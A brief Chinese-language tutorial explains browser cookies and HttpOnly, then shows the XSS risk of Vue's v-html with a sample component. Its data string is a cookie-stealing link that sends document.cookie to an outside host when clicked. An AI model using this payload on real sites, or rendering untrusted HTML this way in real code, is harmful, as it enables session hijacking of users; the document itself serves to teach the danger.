什么是cookie，以及v-htm的安全性隐患

什么是cookie？服务器返回的key-value形式的字符串，然后被浏览器保存下来了

只有HttpOnly未打钩的，才能被js获取；HttpOnly是后端设置的

v-htm的安全性隐患

<template>
  <div class="profile">
    <div v-html="str"></div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我有惊喜！</a>'
    }
  },
}
</script>